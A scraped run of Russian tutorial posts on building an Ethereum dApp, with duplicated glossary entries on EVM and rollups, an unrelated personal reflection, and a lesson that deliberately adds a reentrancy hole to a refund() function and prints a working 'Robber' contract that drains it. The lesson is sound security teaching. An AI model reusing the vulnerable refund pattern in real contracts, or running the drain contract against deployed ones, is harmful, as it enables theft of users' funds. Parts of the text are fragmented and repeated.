Заметь: никакого бэкенда, который агрегирует переводы, никакой базы, никакого API для ленты. История уже лежит в блокчейне - мы просто подписались на её хвост
Этим постом закрывается блок 3. Посмотри, что у нас в руках: контракт с событиями и кастомными ошибками, семь тестов на node:test, фронт с кошельком, чтением, записью и живой лентой. Это не учебные кусочки - это полный dApp, такой же по строению, как Uniswap, только маленький
Задание №15: добавь ленту, открой страницу в двух окнах - и сделай депозит из одного. Второе узнает само. А если хочется магии погуще - импортируй в MetaMask второй аккаунт из hardhat node и закинь депозит «от чужого имени»: лента покажет другой адрес
В следующем посте начнём блок 4 - и начнём с преступления: мы нашу Копилку взломаем. По-настоящему
Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-15
#словарь_райта · №19 - EVM
Ethereum Virtual Machine. Если писал на Java или C# - модель знакома: код компилируется не в машинные инструкции процессора, а в байткод для виртуальной машины, и этот байткод одинаково работает где угодно
Solidity устроен так же: компилятор превращает нашу Копилку в байткод EVM, и каждый узел сети исполняет его на своей копии виртуальной машины. Write once, run everywhere - только «everywhere» здесь означает «на тысячах чужих компьютеров одновременно, с обязательным байт-в-байт одинаковым результатом»
Два отличия от JVM, оба уже знакомых по серии: каждая инструкция стоит газа (счётчик, который нельзя отключить), и вся машина детерминирована - нет ни случайности, ни часов, ни сети. EVM - это JVM, посаженная на строгую диету ради консенсуса
Зачем тебе это слово: «EVM-совместимый» в описании сети означает «твой контракт заработает там без переписывания». Это крупнейшая экосистема в web3 - и причина, почему Solidity стоит учить
Райт · blockwright.eth
Ethereum Virtual Machine. Если писал на Java или C# - модель знакома: код компилируется не в машинные инструкции процессора, а в байткод для виртуальной машины, и этот байткод одинаково работает где угодно
Solidity устроен так же: компилятор превращает нашу Копилку в байткод EVM, и каждый узел сети исполняет его на своей копии виртуальной машины. Write once, run everywhere - только «everywhere» здесь означает «на тысячах чужих компьютеров одновременно, с обязательным байт-в-байт одинаковым результатом»
Два отличия от JVM, оба уже знакомых по серии: каждая инструкция стоит газа (счётчик, который нельзя отключить), и вся машина детерминирована - нет ни случайности, ни часов, ни сети. EVM - это JVM, посаженная на строгую диету ради консенсуса
Зачем тебе это слово: «EVM-совместимый» в описании сети означает «твой контракт заработает там без переписывания». Это крупнейшая экосистема в web3 - и причина, почему Solidity стоит учить
Райт · blockwright.eth
#словарь_райта · №20 - Rollup
Классика бэкенда: тысяча мелких INSERT'ов убивает базу - собери их в батч и запиши одним запросом. Rollup - тот же приём, применённый к целому блокчейну
Ethereum дорог и нетороплив, потому что каждую транзакцию проверяют все узлы. Rollup выносит исполнение наружу: отдельная сеть (Arbitrum, Optimism, Base) обрабатывает сотни транзакций у себя, а в Ethereum публикует сжатую пачку плюс доказательство, что всё посчитано честно. Ethereum превращается из исполнителя в нотариуса: не переделывает работу, а заверяет итог
Отсюда «L2» - второй уровень (layer 2) поверх первого. Комиссии в десятки раз ниже, безопасность наследуется от Ethereum: даже если rollup-сеть исчезнет, твои средства восстановимы из опубликованных на L1 данных
Зачем тебе это слово: реальные продукты в 2026 живут в основном на L2 - деплоить Копилку «в прод» мы будем именно туда. Батчинг, который ты делал для Postgres, оказался архитектурой на миллиарды долларов
Райт · blockwright.eth
Классика бэкенда: тысяча мелких INSERT'ов убивает базу - собери их в батч и запиши одним запросом. Rollup - тот же приём, применённый к целому блокчейну
Ethereum дорог и нетороплив, потому что каждую транзакцию проверяют все узлы. Rollup выносит исполнение наружу: отдельная сеть (Arbitrum, Optimism, Base) обрабатывает сотни транзакций у себя, а в Ethereum публикует сжатую пачку плюс доказательство, что всё посчитано честно. Ethereum превращается из исполнителя в нотариуса: не переделывает работу, а заверяет итог
Отсюда «L2» - второй уровень (layer 2) поверх первого. Комиссии в десятки раз ниже, безопасность наследуется от Ethereum: даже если rollup-сеть исчезнет, твои средства восстановимы из опубликованных на L1 данных
Зачем тебе это слово: реальные продукты в 2026 живут в основном на L2 - деплоить Копилку «в прод» мы будем именно туда. Батчинг, который ты делал для Postgres, оказался архитектурой на миллиарды долларов
Райт · blockwright.eth
Обещал - делаю. Сегодня мы ограбим собственный контракт, вытащим из него все деньги одной транзакцией - и ты увидишь самую знаменитую уязвимость Ethereum своими глазами. Это словарь №12, реентерабельность, только теперь вживую
Добавим человечную фичу Копилка копит на цель. Логично разрешить передумать: пока цель не достигнута -забери свой вклад обратно. Для этого контракт запоминает, кто сколько внёс, и отдаёт по запросу:
Выглядит безобидно. Читается сверху вниз, как обычный JS. И здесь спрятана дыра на миллиарды
В чём подвох Строка
Контракт-грабитель:
Один
Почему это не экзотика. Так в 2016 украли The DAO - 3.6 млн ETH, и ради отката той кражи Ethereum раскололся на две сети (словарь №18, форк). Ровно эта щель между «отдал» и «записал» до сих пор в топе аудиторских находок
Задание №16: прочитай
Код грабителя и дырявой Копилки в репо, тег post-16. Разворачивай на локальной ноде и грабь на здоровье: свои же деньги
Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-16
Добавим человечную фичу Копилка копит на цель. Логично разрешить передумать: пока цель не достигнута -забери свой вклад обратно. Для этого контракт запоминает, кто сколько внёс, и отдаёт по запросу:
mapping(address => uint256) public deposits;
function refund() external {
uint256 amount = deposits[msg.sender];
if (amount == 0) revert NothingToRefund();
(bool ok, ) = msg.sender.call{value: amount}(""); // 1. отдали деньги
require(ok, "refund failed");
deposits[msg.sender] = 0; // 2. обнулили вклад
}
Выглядит безобидно. Читается сверху вниз, как обычный JS. И здесь спрятана дыра на миллиарды
В чём подвох Строка
msg.sender.call{value: amount} - это не просто перевод. Если msg.sender — контракт, то в момент получения денег у него вызывается код. А наш баланс обнуляется только на следующей строке. Улавливаешь? Между «отдали» и «записали, что отдали» есть щель - и в неё можно засунуть рукуКонтракт-грабитель:
contract Robber {
Kopilka public target;
uint256 bait;
function attack() external payable {
bait = msg.value;
target.deposit{value: bait}(); // вносим приманку
target.refund(); // и сразу забираем — начинается рекурсия
}
// сюда прилетают деньги от refund — и мы бьём снова
receive() external payable {
if (address(target).balance >= bait) {
target.refund(); // наш вклад ещё не обнулён — Копилка отдаёт опять
}
}
}Один
attack() - и рекурсия выкачивает Копилку досуха: каждый повторный refund() видит наш вклад всё ещё ненулевым (обнуление-то не наступило, мы не вышли из первого вызова) и покорно отдаёт чужие деньги, пока баланс не кончится. Внесли 0.01 - вынесли всёПочему это не экзотика. Так в 2016 украли The DAO - 3.6 млн ETH, и ради отката той кражи Ethereum раскололся на две сети (словарь №18, форк). Ровно эта щель между «отдал» и «записал» до сих пор в топе аудиторских находок
Задание №16: прочитай
refund() ещё раз и, не подглядывая в следующий пост, ответь себе: какую одну строчку надо переставить, чтобы дыра закрылась? Это буквально вопрос на миллиард - в четверг проверимКод грабителя и дырявой Копилки в репо, тег post-16. Разворачивай на локальной ноде и грабь на здоровье: свои же деньги
Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-16
Во время работы над своими проектами всё время всплывает желание сделать что-то ещё. Добавить фичу, которую никто не просил. Переписать пакет с нуля, потому что чужой закрывает мой случай на восемьдесят процентов, а оставшиеся двадцать делает не так.
Каждая такая мысль по отдельности выглядит разумной. Она правда сделает проект лучше. Проблема в том, что их много, я один, и они не кончаются: закрываешь одну - приходят две.
Интересно, где проходит эта граница. Между всеми хотелками и реальными возможностями одного человека. Как понять, что вот здесь уже хватит, пора остановиться и заниматься только живыми проектами?
#мысли_вслух
Каждая такая мысль по отдельности выглядит разумной. Она правда сделает проект лучше. Проблема в том, что их много, я один, и они не кончаются: закрываешь одну - приходят две.
Интересно, где проходит эта граница. Между всеми хотелками и реальными возможностями одного человека. Как понять, что вот здесь уже хватит, пора остановиться и заниматься только живыми проектами?
#мысли_вслух